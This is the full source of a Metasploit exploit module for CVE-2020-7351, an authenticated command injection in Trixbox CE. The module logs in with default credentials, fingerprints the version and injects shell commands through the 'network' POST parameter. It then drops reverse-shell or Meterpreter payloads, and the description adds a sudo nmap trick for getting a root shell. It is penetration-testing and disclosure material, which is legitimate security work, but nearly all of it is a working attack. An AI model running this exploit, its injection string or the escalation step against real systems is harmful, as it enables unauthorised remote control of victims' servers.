This Metasploit module exploits an authenticated OS command injection vulnerability found in Trixbox CE versions 1.2.0 through 2.8.0.4 inclusive in the network POST parameter of the /maint/modules/endpointcfg/endpoint_devicemap.php page. Successful exploitation allows for arbitrary command execution on the underlying operating system as the asterisk user. Users can easily elevate their privileges to the root user however by executing sudo nmap --interactive followed by !sh from within nmap.
fd5084cbbf34c562fd7812f4604bd3eb##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TrixBox CE endpoint_devicemap.php Authenticated Command Execution',
'Description' => %q{
This module exploits an authenticated OS command injection
vulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4
inclusive in the "network" POST parameter of the
"/maint/modules/endpointcfg/endpoint_devicemap.php" page.
Successful exploitation allows for arbitrary command execution
on the underlying operating system as the "asterisk" user.
Users can easily elevate their privileges to the "root" user
however by executing "sudo nmap --interactive" followed by "!sh"
from within nmap.
},
'Author' => [
# Obrela Labs Team - Discovery and Metasploit module
'Anastasios Stasinopoulos (@ancst)'
],
'References' => [
['CVE', '2020-7351'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/13353'] # First ref is this module
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Payload' => { 'BadChars' => "\x00" },
'DisclosureDate' => 'Apr 28 2020',
'Targets' =>
[
[
'Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
],
[
'Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_memory
]
],
'Privileged' => false,
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('HttpUsername', [ true, 'User to login with', 'maint']),
OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),
]
)
end
def user
datastore['HttpUsername']
end
def pass
datastore['HttpPassword']
end
def get_target(res)
version = res.body.scan(/v(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
if version.nil?
version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
if version.nil?
print_error("#{peer} - Unable to grab version of Trixbox CE installed on target!")
return nil
end
end
print_good("#{peer} - Trixbox CE v#{version} identified.")
if Gem::Version.new(version).between?(Gem::Version.new('2.6.0.0'), Gem::Version.new('2.8.0.4'))
@uri = normalize_uri(target_uri.path, '/maint/modules/endpointcfg/endpoint_devicemap.php')
elsif Gem::Version.new(version).between?(Gem::Version.new('2.0.0.0'), Gem::Version.new('2.4.9.9'))
@uri = normalize_uri(target_uri.path, '/maint/modules/11_endpointcfg/endpoint_devicemap.php')
elsif Gem::Version.new(version).between?(Gem::Version.new('1.2.0.0'), Gem::Version.new('1.9.9.9'))
@uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php')
else
return nil
end
return version
end
def login(user, pass, _opts = {})
uri = normalize_uri(target_uri.path, '/maint/')
print_status("#{peer} - Authenticating using \"#{user}:#{pass}\" credentials...")
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
unless res
# We return nil here, as callers should handle this case
# specifically with their own unique error message.
return nil
end
if res.code == 200
print_good("#{peer} - Authenticated successfully.")
elsif res.code == 401
print_error("#{peer} - Authentication failed.")
else
print_error("#{peer} - The host responded with an unexpected status code: #{res.code}.")
end
return res
rescue ::Rex::ConnectionError
print_error('Caught a Rex::ConnectionError in login() method. Connection failed.')
return nil
end
def execute_command(cmd, _opts = {})
send_request_cgi({
'uri' => @uri,
'method' => 'POST',
'authorization' => basic_auth(user, pass),
'vars_post' => {
'network' => ";$(#{cmd})"
}
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Connection failed.')
end
def check
res = login(user, pass)
unless res
print_error("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")
return CheckCode::Detected
end
if res.code == 200
version = get_target(res)
if version.nil?
# We don't print out an error message here as returning this will
# automatically cause Metasploit to print out an appropriate error message.
return CheckCode::Safe
end
delay = rand(7...10)
cmd = "sleep #{delay}"
print_status("#{peer} - Verifying remote code execution by attempting to execute '#{cmd}'.")
t1 = Time.now.to_i
res = execute_command(cmd)
t2 = Time.now.to_i
unless res
print_error("#{peer} - Connection failed whilst trying to perform the command injection.")
return CheckCode::Detected
end
diff = t2 - t1
if diff >= delay
print_good("#{peer} - Response received after #{diff} seconds.")
return CheckCode::Vulnerable
else
print_error("#{peer} - Response wasn't received within the expected period of time.")
return CheckCode::Safe
end
end
rescue ::Rex::ConnectionError
print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")
return CheckCode::Unknown
end
def exploit
res = login(user, pass)
unless res
print_error("No response was received from #{peer} whilst in exploit(), check it is online and the target port is open!")
end
if res.code == 200
version = get_target(res)
if version.nil?
print_error("#{peer} - The target is not vulnerable.")
return false
end
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 130_000)
end
end
rescue ::Rex::ConnectionError
print_error('Rex::ConnectionError caught in check(), could not connect to the target.')
return false
end
end